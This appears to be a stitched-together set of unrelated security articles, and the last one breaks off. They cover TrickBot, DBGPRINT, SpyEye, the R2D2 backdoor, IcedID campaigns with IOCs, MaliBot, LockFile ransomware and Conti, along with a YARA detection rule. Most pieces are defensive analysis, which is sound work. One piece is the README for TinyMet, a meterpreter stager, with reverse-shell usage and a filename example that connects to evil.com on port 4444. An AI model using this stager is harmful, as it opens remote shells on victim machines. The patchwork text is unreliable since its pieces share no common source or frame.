Once the information is harvested, the "Log" file with the information would be posted to the TrickBot "Dpost" servers via "/%s/%s/90" command. Part of the export "Control" function, the module forms and communicates to the next-layer network via the module network path ending in .../<GROUP ID>/<CLIENT ID>/90. The /90 ending is leveraged for POST requests with its content in the following three unique formats:
A. Content-Disposition: form-data; name="proclist"
B. Content-Disposition: form-data; name="sysinfo"
C. Content-Type: multipart/form-data; boundary=Arasfjasu7
The unique value "Arasfjasu7" appears to be a marker/separator for the LDAP query collection upload to split the harvested information.
## VI. Yara Signature
```yara
import "pe"
rule crime_win32_trickbot_psfin32_dll {
meta:
author = "@VK_Intel"
reference = "Detects TrickBot Point-of-Sale Finder Module"
date = "2018-11-07"
hash1 = "f82d0b87a38792e4572b15fab574c7bf95491bf7c073124530f05cc704c1ee96"
strings:
$s0 = "(&(objectCategory=computer)(userAccountControl:1.2.840.113556.1.4.803:=8192))" fullword wide
$s1 = "Dpost servers unavailable" fullword ascii
$s2 = "USERS:" fullword wide
$s3 = "*POS*" fullword wide
$s4 = "/%s/%s/90" fullword wide
$s5 = "DOMAIN GC" fullword wide
$s6 = "*MICROS*" fullword wide
$s7 = "(&(objectCategory=person)(sAMAccountName=%s))" fullword wide
$ldap_gc_pos_queryportion = { 85 f6 0f ?? ?? ?? ?? ?? 8b ?? ?? 8d ?? ?? ?? ?? ?? 6a
04 c7 ?? ?? ?? ?? ?? ?? ?? ?? ?? c7 ?? ?? ?? ?? ?? ?? ?? ?? ?? c7 ?? ?? ?? ?? ?? ??
?? ?? ?? c7 ?? ?? ?? ?? ?? ?? ?? ?? ?? c7 ?? ?? ?? ?? ?? ?? ?? ?? ?? c7 ?? ?? ?? ??
?? ?? ?? ?? ?? ?? ?? c7 ?? ?? ?? ?? ?? ?? ?? ?? ?? c7 ?? ?? ?? ?? ?? ?? ?? ?? ?? c7
?? ?? ?? ?? ?? ?? ?? ?? ?? 8b ?? 52 50 ff ?? ?? 85 c0 0f ?? ?? ?? ?? ?? 68 84 45 00
10 57 e8 ?? ?? ?? ?? 68 a0 45 00 10 57 e8 ?? ?? ?? ?? 68 24 46 00 10 57 e8 ?? ?? ??
?? ba 40 46 00 10 b9 e0 44 00 10 e8 ?? ?? ?? ?? 50 68 4c 46 00 10 57 e8 ?? ?? ?? ??}
condition:
( uint16(0) == 0x5a4d and
filesize < 50KB and
pe.imphash() == "13c48c2a1eaa564e28ee00ed7cd0fc0f" and pe.exports("Control")
and pe.exports("Release") and
( all of them )
) or ( $ldap_gc_pos_queryportion and 5 of ($s*) )
}
``` |
# Japan Security Analyst Conference 2020
## Evil Hidden in Shellcode: The Evolution of Malware DBGPRINT
### Malware Researcher
**CiYi "YCY" Yu**
**Aragorn Tseng**
### AGENDA
- Adversary Profile: HUAPI
- Malware Profile: DBGPRINT
- Evolution of DBGPRINT
- In-Depth Analysis of DBGPRINT
- Detection Warfare
- Remediation & Detection
### Adversary Profile: HUAPI
- Alias: BlackTech
- Since: 2007
- Malware:
- TSCOOKIE
- KIVARS
- CAPGELD
- DBGPRINT
### Malware Profile: DBGPRINT
- Alias: Waterbear
- Since: at least 2009
- DLL export name: “DbgPrint”
- Acted as second stage
- Advanced malware design
- Adopt shellcode stager
- Able to load the plugins
### Evolution of DBGPRINT
| Version | Changes in the Wild |
|---------|---------------------|
| 0.1.3 | |
| 0.1.0 | |
| 0.2 | |
| 0.16 | |
| 0.24 | |
### Execution Procedure
1. Access Payload
2. Decrypt Stager
3. DBGPRINT Controller
- Ask for DLL implant
- Wait for connection
- Check PEB! Is Debugged
- Test connection
- Relocate function table
- Generate session keys
### Command Codes and Capabilities
- **File transfer / management**
- 2: Enumerate disk drives
- 3: List files
- 4: Upload file to C2 server
- 5: Download file from C2 server
- 6: Rename file
- 7: Create folder
- 8: Delete file
- 10: Execute file
- 11: Move file
- 12: NtSetInformationFile
- **Windows management / Screenshot**
- 807: Enumerate Windows
- 808: Hide Windows
- 809: Show Windows
- 810: Close Windows
- 811: Minimize Windows
- 812: Maximize Windows
- 814: Screenshot
- 815: Set screenshot event signaled
- **Remote desktop connection**
- **Process / Network connection / Service management**
- 816: Remote desktop
- 817: Enumerate process
- 818: Terminate process
- 820: List network connection status
- 821: Abort a network connection
- 822: Enumerate services
- 827: Manipulate service
- **Remote shell / Registry management**
- 1006: Start remote shell
- 1007: Exit remote shell
- 1008: Obtain remote shell PID
- 2011: Enumerate registry
- 2013: Create registry key
- 2014: Set registry key
- 2015: Delete registry key
- 2016: Delete registry value
### Detection Warfare
- Eliminate Patterns
- Plain text
- XOR with 0xff
### Questions?
- [email protected]
- [email protected] |
# SpyEye Bot versus Zeus Bot
The Zeus crimeware toolkit has been around now for a while and has grown over time to be the most established crimeware toolkit in the underground economy. In late December 2009, a new crimeware toolkit emanating from Russia—known as SpyEye V1.0—started to appear for sale on Russian underground forums. Retailing at $500, it is looking to take a chunk of the Zeus crimeware toolkit market. Symantec detects this threat as Trojan.Spyeye. Since it is relatively new, we are not seeing a lot of SpyEye activity yet. However, given some time and the observed rate of development for this crimeware toolkit, SpyEye could be a future contender for king of the crimeware toolkits.
The SpyEye toolkit is similar to Zeus in a lot of ways. It contains a builder module for creating the Trojan bot executable with a config file and a Web control panel for command and control (C&C) of a bot net. Some of the advertised features online are:
- Formgrabber (Keylogger)
- Autofill credit card modules
- Daily email backup
- Encrypted config file
- Ftp protocol grabber
- Pop3 grabber
- Http basic access authorization grabber
- Zeus killer
New revisions of SpyEye, with additional features, are being released on a regular basis. The latest version (V1.0.7) contains an interesting new feature called “Kill Zeus” that we have yet to substantiate. SpyEye hooks the same Wininet API (Wininet.dll) HttpSendRequestA as used by Zeus for communications. If a compromised system infected with SpyEye was also infected with Zeus, this in turn would allow SpyEye to grab and report on http requests sent to the Zeus C&C server.
The new Kill Zeus feature is optional during the Trojan build process, but it supposedly goes as far as allowing you to delete Zeus from an infected system—meaning only SpyEye should remain running on the compromised system. If the use of SpyEye takes off, it could dent Zeus bot herds and lead to retaliation from the creators of the Zeus crimeware toolkit. This, in turn, could lead to another bot war such as we have seen in the past with Beagle, Netsky, and Mydoom.
Another feature of SpyEye is the ability to load additional threats onto infected SpyEye systems, by country, using the SpyEye control panel GUI.
Symantec will continue to monitor the progression of this toolkit and update detection as necessary. Remember to keep your definitions up to date to ensure you have the best protection against new threats.
Special thanks to Mario Ballano Barcena for his analysis. |
# NEWS FROM THE LAB - Saturday, October 8, 2011
## Possible Governmental Backdoor Found ("Case R2D2")
Chaos Computer Club from Germany has tonight announced that they have located a backdoor trojan used by the German Government. The announcement was made public on ccc.de with a detailed 20-page analysis of the functionality of the malware.
The malware in question is a Windows backdoor consisting of a DLL and a kernel driver. The backdoor includes a keylogger that targets certain applications. These applications include Firefox, Skype, MSN Messenger, ICQ, and others. The backdoor also contains code intended to take screenshots and record audio, including recording Skype calls. In addition, the backdoor can be remotely updated. Servers that it connects to include 83.236.140.90 and 207.158.22.134.
We do not know who created this backdoor and what it was used for. We have no reason to suspect CCC's findings, but we can't confirm that this trojan was written by the German government. As far as we see, the only party that could confirm that would be the German government itself.
Our generic policy on detecting governmental backdoors or "lawful interception" police trojans can be read here. We have never before analyzed a sample that has been suspected to be a governmental backdoor. We have also never been asked by any government to avoid detecting their backdoors.
Having said that, we detect this backdoor as Backdoor:W32/R2D2.A. The name R2D2 comes from a string inside the trojan: "C3PO-r2d2-POE". This string is used internally by the trojan to initiate data transmission.
We are expecting this to become a major news story. It's likely there will be an official response from the German government.
MD5 hashes: 930712416770A8D5E6951F3E38548691 and D6791F5AA6239D143A22B2A15F627E72 |
# A Visualizza into Recent IcedID Campaigns
**S2 Research Team**
October 7, 2022
## Introduction
IcedID (also known as BokBot) started life in early 2017 as a banking trojan that later evolved to include dropper malware capabilities. These capabilities enable IcedID to download and deploy additional malware like Cobalt Strike, with recent infections leading to Quantum ransomware. Cybersecurity professionals should continue to pay attention to IcedID as it remains one of the top dropper malware in the threat landscape and has no signs of slowing down. It is typically delivered via email spamming campaigns, with new campaigns being delivered on a near-daily basis that leverage an assortment of different lure types and execution processes.
This got us curious - how do different campaigns compare to each other? We’ve extensively tracked IcedID C2 infrastructure using our Recon and BARS (Botnet Analysis and Reporting Service) feed tooling, and using this data we were able to peek behind the scenes at metrics that are possibly similar to what the threat actors are tracking themselves.
## C2 Tracking
We’ve previously written about IcedID Stage 2 Tier 1 (T1) and Tier 2 (T2) C2 infrastructure and threat telemetry, which pertains to bot activity that occurs after IcedID has successfully infected a machine. In this post, our focus is on the Stage 1 T1 C2s that initially load the malware onto a victim’s machine after they perform the action being asked of them in the lure, such as ‘enable macros’ or ‘click a disguised shortcut’.
### Registration
Until 21 September 2022 and dating back to at least two months, domains used as Stage 1 downloader C2s were registered with 1337 Services LLC Hosting (connected to the Njalla hosting service) and parked there for an average of 31 days before use as a C2. This process was possibly developed for the circumvention of firewall blocks against newly registered domains. As of 22 September 2022, however, domains used as C2s have been registered only a few days prior, breaking this long-term pattern.
### C2 Assignment
Either the day before or the day of a campaign, a C2 domain is assigned to a new IP that is used for inbound victim traffic on port 80 and for T1 -> T2 communications. Communication with the T2 C2 generally begins the same day the campaign is released.
According to our C2 tracking data for the August-September 2022 timeframe, domains and IPs are typically only used for one campaign and not recycled. In mid-September there were a few instances where downloader IPs and domains were reused, but as of the end of September, C2s have returned to being unique/single-use.
### C2 Lifespan
C2 communication with T2 infrastructure occurs for an overall average of six days before ending, and four or five C2 IPs are normally active at a time. Although, around the third week of September active C2s dwindled down to two from the usual amount due to IPs and domains being reused between campaigns, which prevented aged-out C2s from being replaced. In most cases, no changes are made regarding the IP or domain once it’s inactive. All but one of the C2 domains from the campaigns we analyzed were still assigned to the same IPs at the time of writing.
## Campaign Metrics
Using the C2s we’ve gathered from tracking IcedID infrastructure, we analyzed data from campaigns that were spammed during the period 13 - 21 September 2022 to see if there was a correlation between TTPs and the volume of victim interaction.
In order to identify potential traffic, we had to remove general noise, as well as security research traffic from our data. This process includes enrichment with supplementary open source data such as WHOIS information. The numbers provided throughout this blog are based on an approximation derived from sampled threat telemetry.
### Delivery Methods
Of the campaigns analyzed, the following methods were used for malware delivery:
- **Password Protected ZIP -> ISO -> LNK -> JS -> [CMD or BAT] -> DLL**
Delivery was via a password protected zip file that contained an ISO which itself contained a LNK file and archive holding the files used for IcedID installation. When the LNK file is clicked by the user, it functions as a shortcut to run a script within the archive that ultimately installs IcedID from a DLL. It is typically launched through either a CMD or BAT script, depending on which was included in the archive.
- **Password Protected ZIP -> ISO -> CHM -> DLL**
Delivery was via a password protected zip file containing an ISO that led to a CHM (Compiled HTML) file. The victim must open the file to launch the DLL and complete the infection process.
- **Maldoc**
Users received either a malicious Word or Excel file that asked them to enable macros, which then allowed the embedded script to execute and install IcedID.
- **PrivateLoader**
Delivery was through PrivateLoader, a pay-per-install service that distributes malware by hiding it in free software downloaded by unsuspecting users.
### Campaigns Overview
#### 13 September
There were two campaigns launched; one targeting Italian speakers (project ID 3281798692) and the other targeting English speakers (project ID 726442267). The Italian lure was in the form of a malicious ‘.docm’ file with kolinandod[.]com as the C2, which was set to resolve to 159.203.5[.]238 on 12 September. There were around 18 potential victims and most of the victim communication occurred the same day of the campaign. The C2 stopped interacting with the T2 on 19 September.
The lure targeting English speakers arrived using the following delivery method:
**Password Protected ZIP -> ISO -> LNK -> JS -> BAT -> DLL**
The C2 was qvantumbrakesz[.]com, which resolves to 134.209.97[.]90. There were around 115 potential victims that communicated with the C2 before it was disconnected from the T2 on 20 September. Most of this traffic occurred on the day of the campaign and tapered off until the last victim hit it on 19 September.
#### 14 September
For the campaign on 14 September (project ID 809191839), threat actors returned to leveraging CHM files for the delivery method:
**Password Protected ZIP -> ISO -> CHM -> DLL**
The C2 was allozelkot[.]com and was set to resolve to 188.166.169[.]40 on the day of the campaign. There were around 18 unique victims with the last connections occurring on the 19th. The C2 stopped communicating with the T2 on 22 September.
#### 15-16 September
Both the 15 September and 16 September campaign used pildofraften[.]com as their C2. This domain has resolved to the same IP address (142.93.44[.]94) since 15 September. Seeing domains and IPs reused for Stage 2 bot C2s is not uncommon, but this is the first case of a Stage 1 downloader C2 reusing either since at least mid-August 2022.
The campaign on September 15 (project ID 612758225) used the delivery method:
**Password Protected ZIP -> ISO -> LNK -> JS -> BAT -> DLL**
The second campaign (project ID 3747825559), seen on 16 September, was delivered as an EXE dropped by PrivateLoader. There were around 79 potential victims and most of them first communicated with the C2 on 16 September. The last victim requests to the C2 occurred 19 September and traffic with the T2 ended 22 September.
#### 19 September
The campaign that occurred on 19 September (project ID 775636601) was a bit of an outlier compared to the others we’ve looked at so far. Delivery consisted of a password protected zip file containing an ISO:
**Password Protected Zip -> ISO -> LNK -> DLL**
The C2 was aviadronazhed[.]com, which was updated to resolve to 67.205.169[.]96 on the day of the campaign. Inbound port 80 traffic began at around 15:00 UTC and continued for about three hours for a total of five potential victims. T2 traffic began about two and half hours after the victim traffic (17:30 UTC) and lasted around two and half hours after the last port 80 request (20:30 UTC). Oddly, the C2 was then disconnected from the T2 instead of continuing to communicate for the usual period of approximately six days. Another oddity was that unlike other C2s where domains remained on the same IPs at the conclusion of a campaign, this domain was updated and removed from 67.205.169[.]96 on 22 September.
#### 20-21 September
Three campaigns occurred during the period 20 - 21 September and each had a unique domain that resolved to the same IP (161.35.110[.]54). The IP was reused between domains similarly to the 15 - 16 September campaigns, except in this case the domains were unique. There was one campaign seen on 20 September (project ID 512092511) with alkaliodplus[.]com as its C2. For delivery it used a password protected zip file and ISO:
**Password Protected ZIP -> ISO -> LNK -> BAT -> DLL**
Two campaigns were seen on 21 September, each with a unique project ID and domain: nikolandfantazy[.]com (project ID 1367965656) and zalikomanperis[.]com (project ID 2432960414). The delivery was via a password protected zip containing an ISO:
**Password Protected ZIP -> ISO -> LNK -> JS -> CMD -> DLL**
There were 29 potential victims from when the C2 was active between 20 - 27 September, with the last communication from a unique IP on port 80 happening on the 26 September. Only two victims hit the C2 on 20 September and most of the traffic began on 21 September before gradually tapering off.
## Bonus Bloopers!
These campaigns fell outside of the timeframe we were focusing on but due to their peculiarities we thought it would be interesting to add for comparison.
### 9 September
The lure for this campaign (project ID 3207262051) was meant to be an XLSM file for English-speakers, but the threat actors used the Italian word for “View” on the button they wanted to convince users to click. The C2 for this campaign was audifastinggip[.]com and it began resolving to 143.198.178[.]0 on 9 September. Until 13 September around 12 potential victims were curious enough to click the “Visualizza” button, and communication with the T2 ended on 15 September.
### 22-23 September
It appears a key component of the process may have been skipped when setting up the C2 on 22 September (project ID 1023645195). The C2 was trallfasterinf[.]com, and it resolves to 137.184.114[.]20. Unlike the other C2s we’ve tracked which were registered an average of 31 days prior to being used in a campaign, this domain was the first to be registered only one day before it was a C2. It was assigned to this IP the day of the campaign, which is normal, but T2 communications appear to have never been set up. Potential victim traffic is hitting the C2, but it goes nowhere.
The C2 for 23 September (project ID 2349072319) was sebdgoldingor[.]com, and it also resolves to 137.184.114[.]20. Reusing IPs for these C2s is a new behavior which occurred twice in the same week. It was also registered with Njalla on 21 September, two days prior. Interestingly, T2 communications were still not set up when this second campaign launched. Two campaigns seen the following Monday on 26 September contained the expected T2 traffic, so it appears the threat actors may have had a bit of a mishap with 137.184.114[.]20.
## Analysis/Key Findings
### GEO Targeting
The 13 September campaign targeting Italian speakers resulted in 18 potential victims. It was also the only campaign from our timeframe using a malicious Word document as the delivery method, which makes a true comparison difficult. The campaign that leveraged a CHM file along with an English lure also had 18 potential victims. It’s probable that the target base for this campaign was larger than that aimed at Italian speakers (based on the prevalence of both languages), so 18 potential Italian victims may be considered a successful number to the threat actors.
### Delivery Methods
The campaign with the highest potential victim count was the campaign targeting English speakers that was released the same day as the Italian campaign (13 September). It was delivered via the most common method; a password protected zip file containing an ISO, which contained a LNK file. The second most successful campaign was that which leveraged PrivateLoader on 16 September.
From our observations, it appears that campaigns leveraging CHM files are less successful, which could explain why we have only seen this technique being used twice. However, we do not have a complete picture - the number of victims may have been proportionately similar (or different) based on the number of users targeted. For example, it is possible the CHM file campaigns were tests against a smaller target base, in which case one might argue that they were successful.
Lastly, it appears end users are far less likely to fall for a lure if there are any errors within the aesthetics, as seen with the campaign on 9 September – security awareness training appears to pay off! Unfortunately, in the majority of cases, lures look quite realistic and don’t always contain obvious errors and misspellings.
### Traffic Timeline
Excluding the 19 September campaign as an outlier, the majority of victim traffic hits the C2 the day after a campaign is first reported in the wild. This could be a coincidence due to the small dataset being examined, and therefore will be a topic we revisit after further tracking. Communication with the T2 infrastructure ends at least one day after the last victim traffic, which lasted anywhere from three to seven days. Due to the small sample size, this is also something we will continue to keep an eye on for any emerging patterns.
The timeframe we examined was coincidently when many odd behaviors were being observed, including the changes with C2s being reused, the time between domain registration and C2 assignment shrinking, and the campaign on 19 September that was quickly cut short (among other observations not mentioned). We believe that the threat actors behind IcedID were either making changes to various infrastructure processes behind the scenes or were having technical issues during this time.
## Conclusion
In this post we pulled back the curtain on IcedID campaign metrics and Stage 1 C2 infrastructure, to shed light on behaviors and details not often available. These metrics are numbers the threat actors are watching as well, and just like any other business may influence their future actions.
When it comes to delivery methods, daily campaigns often leverage emails containing password protected zip files and ISOs and perform comparatively well. The relative success of the campaign leveraging PrivateLoader infections, with the malware concealed within ‘cracked’ software downloads, makes this method something also worth watching.
The threat actors spamming IcedID are likely aware that lures with glaring mistakes and typos perform poorly compared to those that are more realistic, as we saw with the campaign on 9 September. Targets may not be as easily tricked by phishing emails nowadays, but in response the threat actors have adapted their methods to use lures that appear legitimate and don’t typically include errors. Make sure your company’s security awareness training has adapted too!
## IOCs
- 67.205.169.96 aviadronazhed[.]com
- 134.209.97.90 qvantumbrakesz[.]com
- 137.184.114.20 trallfasterinf[.]com
- 142.93.44.94 pildofraften[.]com
- 143.198.178.0 audifastinggip[.]com
- 159.203.5.238 kolinandod[.]com
- 161.35.110.54 alkaliodplus[.]com
- nikolandfantazy[.]com
- zalikomanperis[.]com
- 188.166.169.40 allozelkot[.]com |
# F5 Labs Investigates MaliBot
**June 15, 2022**
While tracking the mobile banking trojan FluBot, F5 Labs recently discovered a new strain of Android malware which we have dubbed “MaliBot.” While its main targets are online banking customers in Spain and Italy, its ability to steal credentials, cookies, and bypass multi-factor authentication (MFA) codes means that Android users all over the world must be vigilant.
## Key Characteristics of MaliBot
- Disguises itself as a cryptocurrency mining app named “Mining X” or “The CryptoApp,” and occasionally assumes other guises, such as “MySocialSecurity” and “Chrome.”
- Focused on stealing financial information, credentials, crypto wallets, and personal data (PII), and targets financial institutions in Italy and Spain.
- Capable of stealing and bypassing multi-factor (2FA/MFA) codes.
- Includes the ability to remotely control infected devices using a VNC server implementation.
This article is a deep dive into the tactics and techniques this malware strain employs to steal personal data and evade detection.
## MaliBot Overview
MaliBot’s command and control (C2) is in Russia and appears to use the same servers that were used to distribute the Sality malware. Many campaigns have originated from this IP since June of 2020. It is a heavily modified re-working of the SOVA malware, with different functionality, targets, C2 servers, domains, and packing schemes.
MaliBot has an extensive array of features:
- Web injection/overlay attacks
- Theft of cryptocurrency wallets (Binance, Trust)
- Theft of MFA/2FA codes
- Theft of cookies
- Theft of SMS messages
- Ability to bypass Google two-step authentication
- VNC access to the device and screen capturing
- Ability to run and delete applications on demand
- Ability to send SMS messages on demand
- Information gathering from the device, including its IP, AndroidID, model, language, installed application list, screen and locked states, and reporting on the malware’s own capabilities
- Extensive logging of any successful or failed operations, phone activities (calls, SMS), and any errors
## Distributing MaliBot
Distribution of MaliBot is performed by attracting victims to fraudulent websites where they are tricked into downloading the malware, or by directly sending SMS phishing messages (smishing) to mobile phone numbers.
### Websites
The malware authors have created two campaigns: “Mining X” and “TheCryptoApp,” each with a website containing a download link to the malware. TheCryptoApp campaign attempts to trick people into downloading their malware instead of the legitimate TheCryptoApp, a cryptocurrency tracker app with more than 1 million downloads in the Google Play Store.
For stealth and targeting purposes, the download link directs the user to the malware APK only if the victim visits the website from an Android device; otherwise, it refers to the real TheCryptoApp app in the Play Store.
The Mining X campaign presents a QR code that leads to the malware APK.
### Smishing
Smishing is commonly used among mobile banker-trojans because it allows the malware to spread quickly. MaliBot can send SMS messages on-demand, and once it receives a “sendsms” command containing a text to send and a phone list from the C2 server, it sends the SMS to each phone number.
## How MaliBot Works
MaliBot unpacks itself by decrypting an encrypted Dex file from the assets and loading it in runtime using MultiDex. Once loaded, MaliBot contacts the C2 server to register the infected device, then asks the victim to grant accessibility and launcher permissions. MaliBot registers four services that perform most of the malicious operations:
- **Background Service**: Polls for commands from C2, handles C2 commands, sends device and malware information, and sends Keep-Alive pings to C2.
- **Notify Service**: Checks Accessibility permissions and sends a notification to enable these permissions if not granted.
- **Accessibility Service**: Implements VNC-like functionality using the Accessibility API, grabs information from the screen, and populates a Bus object that saves the device’s states.
- **Screen Capture Service**: Responsible for capturing the screen, also used as part of the "VNC" implementation.
Four Receivers are registered as well:
- SMS Receiver – interception of SMS messages
- Boot Receiver
- Call Receiver
- Alarm Receiver – background service watchdog to intercept calls, register boot activity, and intercept alarms.
### Accessibility API Abuse
MaliBot performs most of its malicious operations by abusing Android’s Accessibility API, which allows mobile apps to perform actions on behalf of the user. This service also allows mobile malware to maintain persistence, protecting itself against uninstallation and permissions removal.
### Google’s 2-Step Verification Bypass
MaliBot captures credentials and can authenticate to Google accounts on the C2 server using those credentials. It extracts MFA codes through a series of steps, including validating the current screen is a Google prompt screen, clicking on the "Yes" button, and logging the MFA code shown on the attacker’s device.
### Injects
When MaliBot registers the device to the C2, it sends the device’s application list, which helps the C2 determine which overlays/injections to provide whenever an “injectlist” command is sent. Each injection link contains an HTML overlay that looks identical to the original app.
MaliBot listens for events using the Accessibility Service. If it detects that the victim has opened an app on the list of targets, it sets up a WebView that displays an HTML overlay to the victim.
### Stealing: Cookies, MFA Codes, and Wallets
MaliBot’s primary goal is the theft of personal data, credentials, and financial information. It can steal cookies, MFA codes, and crypto wallets.
- **Cookies**: MaliBot can steal credentials and cookies of the victim’s Google account by opening a WebView to a Google sign-in page.
- **Google Authenticator MFA Codes**: MaliBot can also steal MFA codes from Google Authenticator on-demand.
- **Crypto Wallets**: MaliBot is able to steal information from “Binance” and “Trust” wallets by clicking through the app using the Accessibility Service.
## Full Remote Control of Infected Device
MaliBot abuses the Accessibility API to implement a VNC-like server, allowing remote control of the victim’s device. The attacker can obtain screen captures and send input commands to perform actions.
## SMS Sending
MaliBot can send SMS messages on-demand, primarily for smishing campaigns, but also for monetization by sending Premium SMS.
## Logging
MaliBot logs any uncaught exceptions, helping the malware authors to find and fix bugs in their code.
## Evasion and Stealth
MaliBot employs tactics to prevent victims from discovering malicious apps and to make it harder for security researchers to uncover their true purposes. It maintains its Background Service by setting itself as a launcher, allowing it to be notified on every launched application.
### Future Evasion Capabilities
MaliBot includes functions that are not used in the current version but could potentially be used in later versions, such as detecting if it is running in an emulated environment or setting the malware as a hidden app.
## Conclusion
MaliBot is a significant threat to customers of Spanish and Italian banks, with the potential for broader targets in the future. Its versatility means it could be used for a wider range of attacks beyond stealing credentials and cryptocurrency.
## Indicators of Compromise
The following indicators of compromise may be used to identify MaliBot infections:
- **APK hash**: Mining X - SHA256: 4f9fb1830f47c3107b2c865a169fab46f02f6e3aeb9a3673877e639755af172a
- **APK hash**: TheCryptoApp - SHA256: b12dd66de4d180d4bbf4ae23f66bac875b3a9da455d9010720f0840541366490
- **APK hash**: MySocialSecurity - SHA256: bfa9a861d953247eea496f4a587f59e9ee847e47a68c67a4946a927c37b042c4
- **APK hash**: Chrome - SHA256: 6d1566ffd1f60ed64b798ca1eea093982c43e1e88c096bc69dd98e0fd5c1c2d1
- **Infrastructure**: C2 server - URL: https://walananlpi[.]xyz/
- **Infrastructure**: C2 server - IP: 5.101.0[.]44
- **Infrastructure**: VNC server - URL: http://91.232.105[.]4:1080
### Targeted Apps
- com.cajaingenieros.android.bancamovil
- es.bancosantander.apps
- es.caixaontinyent.caixaontinyentapp
- es.lacaixa.mobile.android.newwapicon
- es.unicajabanco.app
- it.bcc.iccrea.mycartabcc
- net.inverline.bancosabadell.officelocator.android
- posteitaliane.posteapp.appbpol
- posteitaliane.posteapp.apppostepay
- www.ingdirect.nativeframe
Additional screenshots were captured during the investigation of MaliBot, showing previous attacker campaigns and malicious websites used to trick victims into downloading the malicious Android app. |
# LockFile Ransomware Bypasses Protection Using Intermittent File Encryption
A new ransomware family that emerged last month comes with its own bag of tricks to bypass ransomware protection by leveraging a novel technique called "intermittent encryption." Called LockFile, the operators of the ransomware have been found exploiting recently disclosed flaws such as ProxyShell and PetitPotam to compromise Windows servers and deploy file-encrypting malware that scrambles only every alternate 16 bytes of a file, thereby giving it the ability to evade ransomware defenses.
"Partial encryption is generally used by ransomware operators to speed up the encryption process and we've seen it implemented by BlackMatter, DarkSide and LockBit 2.0 ransomware," Mark Loman, Sophos director of engineering, said in a statement. "What sets LockFile apart is that, unlike the others, it doesn't encrypt the first few blocks. Instead, LockFile encrypts every other 16 bytes of a document."
"This means that a file such as a text document remains partially readable and looks statistically like the original. This trick can be successful against ransomware protection software that relies on inspecting content using statistical analysis to detect encryption," Loman added.
Sophos' analysis of LockFile comes from an artifact that was uploaded to VirusTotal on August 22, 2021. Once deposited, the malware also takes steps to terminate critical processes associated with virtualization software and databases via the Windows Management Interface (WMI), before proceeding to encrypt critical files and objects, and display a ransomware note that bears stylistic similarities with that of LockBit 2.0. The ransom note also urges the victim to contact a specific email address "[email protected]," which Sophos suspects could be a derogatory reference to a competing ransomware group called Conti.
What's more, the ransomware deletes itself from the system post successful encryption of all the documents on the machine, meaning that "there is no ransomware binary for incident responders or antivirus software to find or clean up."
"The message here for defenders is that the cyberthreat landscape never stands still, and adversaries will quickly seize every possible opportunity or tool to launch a successful attack," Loman said.
The disclosure comes as the U.S. Federal Bureau of Investigation (FBI) released a Flash report detailing the tactics of a new Ransomware-as-a-Service (RaaS) outfit known as Hive, consisting of a number of actors who are using multiple mechanisms to compromise business networks, exfiltrate data and encrypt data on the networks, and attempt to collect a ransom in exchange for access to the decryption software. |
# TinyMet
TinyMet is a tiny “4.5 kilobytes” flexible meterpreter stager, which supports multiple meterpreter transports, setting LPORT and LHOST during runtime. Transport, LPORT, and LHOST are set during runtime through either of the following:
- Command line arguments.
- Naming the .exe file in a special way.
## What's new in v0.2:
Now tinymet can parse the Transport, LPORT, and LHOST from its own filename through separating them by underscore.
Example: "0_evil.com_4444.exe" will use reverse_tcp, LHOST=evil.com, LPORT=4444. This makes tinymet more (double-click/payload-like/argument-less) friendly.
## Available transports are as follows:
- 0: reverse_tcp
- 1: reverse_http
- 2: reverse_https
- 3: bind_tcp
## Usage
**Usage#1:**
tinymet.exe TRANSPORT LHOST LPORT
Example: "tinymet.exe 2 host.com 443" will use reverse_https and connect to host.com:443.
**Usage#2:**
Name the file using the following convention and run without args:
TRANSPORT_LHOST_LPORT.exe
Example: Setting the filename to "2_host.com_443.exe" and running it without args will do exactly the same as Example#1. |
# Conti pivots as ransomware as a service struggles
**Threat Research | April 8, 2022**
**Blog Author: Paul Roberts, Cyber Content Lead at ReversingLabs**
The Conti ransomware group — a.k.a. Wizard Spider; a.k.a. TrickBot; a.k.a. Ryuk — is one of the most prolific ransomware gangs around. It is believed to have been active, in various incarnations, since about 2016. Just in the last year, Conti is believed to be responsible for high-profile attacks, including the city government in Tulsa, Oklahoma, and Ireland's Health Executive service in May 2021.
Even as leading ransomware groups like REvil and Darkside have folded in recent months, Conti is getting renewed attention from cybersecurity experts. The group, CISA warns, has been linked to more than 1,000 attacks on U.S. and international organizations while “Conti cyber threat actors remain active.”
## 2021: A ransomware extinction event?
The contrast is worth noting. In fact, 2020 and 2021 saw something like a mass extinction event among high-profile ransomware gangs and ransomware as a service outfits. There was the digital takedown of infrastructure used by the REvil ransomware group, followed by the arrests of REvil group members by Russian authorities in January 2022. In May 2021, the Darkside ransomware group - which is believed to be responsible for the attack on the Colonial Pipeline - said it was ceasing operations as well. That announcement coincided with a coordinated law enforcement seizure of some of the group’s infrastructure and cryptocurrency from the wallets of some Darkside affiliates. In November, BlackMatter, another ransomware as a service group, said it was shutting down in the face of increased scrutiny from law enforcement.
## Conti thrives amid chaos
Despite this, Conti has been thriving. Why? In our latest episode of the ConversingLabs Podcast, I sat down with Yelisey Boguslavskiy, a co-founder of the threat intelligence firm AdvIntel, to talk about Conti’s evolution in recent years, and why the group continues to be such a potent threat.
According to Boguslavskiy, Conti’s continued vitality reflects a long-running practice of tightly controlled and highly vertical business operations. That runs counter to the predominant “ransomware as a service” model of “quantity over quality:" farming work out to pretty much anyone interested in making a buck and counting on a small number of scores from a large base of attacks. “This is something Conti never really followed in their methodology,” Boguslavskiy said.
Conti’s operations have always been “rigid and organized,” by the standards of the criminal ransomware underground. “It was run like a strict business unit,” he said. That meant doing a lower volume of more targeted attacks while keeping its network of business and technology partners small.
“Conti established key business alliances with other cybercrime groups to remain successful,” said Boguslavskiy. Rather than rely on others to provide tooling, Conti only uses tools that they’ve developed or taken control of. “They don’t want to rely on others,” he said.
## Ransomware: It’s strictly business
Coming into 2021, as most ransomware gangs were expanding operations, Conti took an opposite path: ejecting non-core members and making the organization smaller and more hierarchical. They also began rolling up key partners, like the group responsible for the TrickBot and Emotet malware - long suppliers to Conti. “They’ve been very deliberate and purposeful in their methodology,” Boguslavskiy told me. “It’s not a game. It’s a business.”
That strategy has proven to be decisive in keeping Conti operating in a new and more hostile environment for ransomware groups, he said. The last six months have shown that ransomware outfits that relied on large and diverse ecosystems of suppliers, infrastructure partners, and affiliates proved easy for governments and law enforcement to disrupt. That fact was on display in May when the Darkside group announced that it lost control of its payment server and CDN (content distribution network), as well as wallets containing cryptocurrency ransoms paid by victims.
## Conti: mind the R&D
